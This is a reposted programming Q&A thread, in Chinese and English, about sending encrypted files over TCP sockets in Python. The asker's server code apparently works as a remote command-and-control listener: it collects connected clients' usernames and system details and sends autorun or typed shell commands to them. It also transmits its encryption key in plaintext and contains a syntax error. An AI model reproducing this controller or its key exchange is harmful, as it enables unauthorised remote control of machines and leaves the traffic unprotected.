如何通过TCP插座中的Internet发送加密文件Python 3

发布于 2025-02-07 15:49:01 字数 3613 浏览 2 评论 0原文

我正在尝试通过Python的TCP插座发送加密文件,我不想加密消息,将其保存在%temp%然后发送(可以填充硬盘驱动器空间)中。 I am following this code I found online at: https://gist.github.com/giefko/2fa22e01ff98e72a5be2< /a>

这是我的服务器代码:

from random import choice
import socket, os, threading, json
from cryptography.fernet import Fernet

chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890!@#$%^&*()"

#read the key or generate
key = b""
if os.path.exists("client.key"):
    with open("client.key", "rb") as f:
        key = f.read()
else:
    with open("client.key", "wb") as f:
        key = Fernet.generate_key()
        f.write(key)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

port = 34467
host = "0.0.0.0"

s.bind((host, port))
print(f"LISTENING ON {host}:{port}")

s.listen(100)

def new_salt():
    salt = ""
    for x in range(15):
        salt += choice(chars)
    return salt

def handle_client(conn, addr):
    encryption = False
    def send_raw(content_type, Bytes_, salt=new_salt()):
        seperator = "<|SEPERATE|>"
        to_send = content_type + seperator + Bytes_.decode() + seperator + salt
        to_send = to_send.encode()
        if encryption:
            to_send = Fernet(key).encrypt(to_send)
        conn.send(to_send)
    
    def recv_raw(BufferSize):
        seperator = "<|SEPERATE|>".encode()
        data = b""
        while True:
            data = conn.recv(BufferSize)
            if data: break
        if encryption:
            data = Fernet(key).decrypt(data)
        splitted = data.decode().split(seperator.decode())
        content_type = splitted[0]
        Bytes_ = splitted[1].encode()
        salt = splitted[2]
        return {"content_type": content_type, "bytes": Bytes_}

    print("NEW CLIENT AT IP: " + str(addr[0]))
    print("EXTANGING KEY")
    send_raw("KEY", key)
    client_key = recv_raw(1024)["bytes"]
    if key == client_key:
        print("KEY EXTANGE VERIFIED")
    else:
        print("UNABLE TO VERIFY, CLIENT MAY EXPERIENCE ISSUES")
        print(key)
        print(client_key)
    encryption = True

    print("GRAPPING SYSTEM INFO...")
    sys_info_request = recv_raw(1024)
    print("RECIVED, DECODING...")
    sys_info = json.loads(sys_info_request["bytes"].decode())
    print("BASIC INFO:")
    print("Platoform: " + sys_info["platform"])
    print("Architecture: " + str(sys_info["architecture"]))
    print("Username: " + sys_info["username"])
    
    if os.path.exists("autorun.txt"):
        with open("autorun.txt", "r") as f:
            print("FOUND AUTORUN, EXECUTING COMMANDS")
            for line in f.readlines():
                print("> " + line)
                send_raw("command", line.encode())
                output = recv_raw(1024)
                print(output["bytes"].decode())

    current_dir = sys_info["current_dir"]
    while True:
        try:
            cmd = input(current_dir + "> " + sys_info["username"] + " $ ")
            if cmd == "abort":
                send_raw("abort", "".encode())
                conn.close()
                print("SAFE")
                break
            if cmd == "send_file":
                # CODE GOES HERE

            send_raw("command", cmd.encode())
            output = recv_raw(1024)["bytes"].decode()
            print(output)
        except:
            print("UNEXCPECTED ERROR")

while True:
    conn, addr = s.accept()
    threading.Thread(target=handle_client, args=(conn,addr,)).start()

我还没有在网上找到任何可以在我的senario中使用的东西。

I am trying to send an encrypted file over TCP sockets in python, I don't want to have to encrypt the message, save it in %TEMP% and then send it (it could fill up hard drive space).
I am following this code I found online at: https://gist.github.com/giefko/2fa22e01ff98e72a5be2

Here is my server code:

from random import choice
import socket, os, threading, json
from cryptography.fernet import Fernet

chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890!@#$%^&*()"

#read the key or generate
key = b""
if os.path.exists("client.key"):
    with open("client.key", "rb") as f:
        key = f.read()
else:
    with open("client.key", "wb") as f:
        key = Fernet.generate_key()
        f.write(key)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

port = 34467
host = "0.0.0.0"

s.bind((host, port))
print(f"LISTENING ON {host}:{port}")

s.listen(100)

def new_salt():
    salt = ""
    for x in range(15):
        salt += choice(chars)
    return salt

def handle_client(conn, addr):
    encryption = False
    def send_raw(content_type, Bytes_, salt=new_salt()):
        seperator = "<|SEPERATE|>"
        to_send = content_type + seperator + Bytes_.decode() + seperator + salt
        to_send = to_send.encode()
        if encryption:
            to_send = Fernet(key).encrypt(to_send)
        conn.send(to_send)
    
    def recv_raw(BufferSize):
        seperator = "<|SEPERATE|>".encode()
        data = b""
        while True:
            data = conn.recv(BufferSize)
            if data: break
        if encryption:
            data = Fernet(key).decrypt(data)
        splitted = data.decode().split(seperator.decode())
        content_type = splitted[0]
        Bytes_ = splitted[1].encode()
        salt = splitted[2]
        return {"content_type": content_type, "bytes": Bytes_}

    print("NEW CLIENT AT IP: " + str(addr[0]))
    print("EXTANGING KEY")
    send_raw("KEY", key)
    client_key = recv_raw(1024)["bytes"]
    if key == client_key:
        print("KEY EXTANGE VERIFIED")
    else:
        print("UNABLE TO VERIFY, CLIENT MAY EXPERIENCE ISSUES")
        print(key)
        print(client_key)
    encryption = True

    print("GRAPPING SYSTEM INFO...")
    sys_info_request = recv_raw(1024)
    print("RECIVED, DECODING...")
    sys_info = json.loads(sys_info_request["bytes"].decode())
    print("BASIC INFO:")
    print("Platoform: " + sys_info["platform"])
    print("Architecture: " + str(sys_info["architecture"]))
    print("Username: " + sys_info["username"])
    
    if os.path.exists("autorun.txt"):
        with open("autorun.txt", "r") as f:
            print("FOUND AUTORUN, EXECUTING COMMANDS")
            for line in f.readlines():
                print("> " + line)
                send_raw("command", line.encode())
                output = recv_raw(1024)
                print(output["bytes"].decode())

    current_dir = sys_info["current_dir"]
    while True:
        try:
            cmd = input(current_dir + "> " + sys_info["username"] + " $ ")
            if cmd == "abort":
                send_raw("abort", "".encode())
                conn.close()
                print("SAFE")
                break
            if cmd == "send_file":
                # CODE GOES HERE

            send_raw("command", cmd.encode())
            output = recv_raw(1024)["bytes"].decode()
            print(output)
        except:
            print("UNEXCPECTED ERROR")

while True:
    conn, addr = s.accept()
    threading.Thread(target=handle_client, args=(conn,addr,)).start()

I haven't found anything online that will work in my senario.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

反话 2025-02-14 15:49:01

好的,所以您想打开文件,对其进行加密并将其发送并避免将临时文件写入硬盘,对吗?这起作用(取自您链接的示例服务器代码):

while True:
    conn, addr = s.accept()     # Establish connection with client.
    print('Got connection from', addr)
    data = conn.recv(1024)
    print('Server received', repr(data))
    from cryptography.fernet import Fernet
    key = Fernet.generate_key()
    ff = Fernet(key)
    filename='crs.py' #In the same folder or path is this file running must the file you want to tranfser to be
    f = open(filename,'rb')
    l = f.read(1024)
    while (l):
       enc = ff.encrypt(l)
       conn.send(enc)
       print('Sent ',repr(enc))
       l = f.read(1024)
    f.close()
    print('Done sending')
    conn.send(b'Thank you for connecting')
    conn.close()

因此,我只是打开文件,读取1024字节,将其加密,然后将其发送。

Okay, so you want to open a file, encrypt it and send it and avoid writing a tempfile to the hard disc, right? This works (taken from the example server code you linked):

while True:
    conn, addr = s.accept()     # Establish connection with client.
    print('Got connection from', addr)
    data = conn.recv(1024)
    print('Server received', repr(data))
    from cryptography.fernet import Fernet
    key = Fernet.generate_key()
    ff = Fernet(key)
    filename='crs.py' #In the same folder or path is this file running must the file you want to tranfser to be
    f = open(filename,'rb')
    l = f.read(1024)
    while (l):
       enc = ff.encrypt(l)
       conn.send(enc)
       print('Sent ',repr(enc))
       l = f.read(1024)
    f.close()
    print('Done sending')
    conn.send(b'Thank you for connecting')
    conn.close()

So, I am just opening the file, reading it 1024 bytes a time, encrypting it and then sending it along .. Does that answer your question?

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文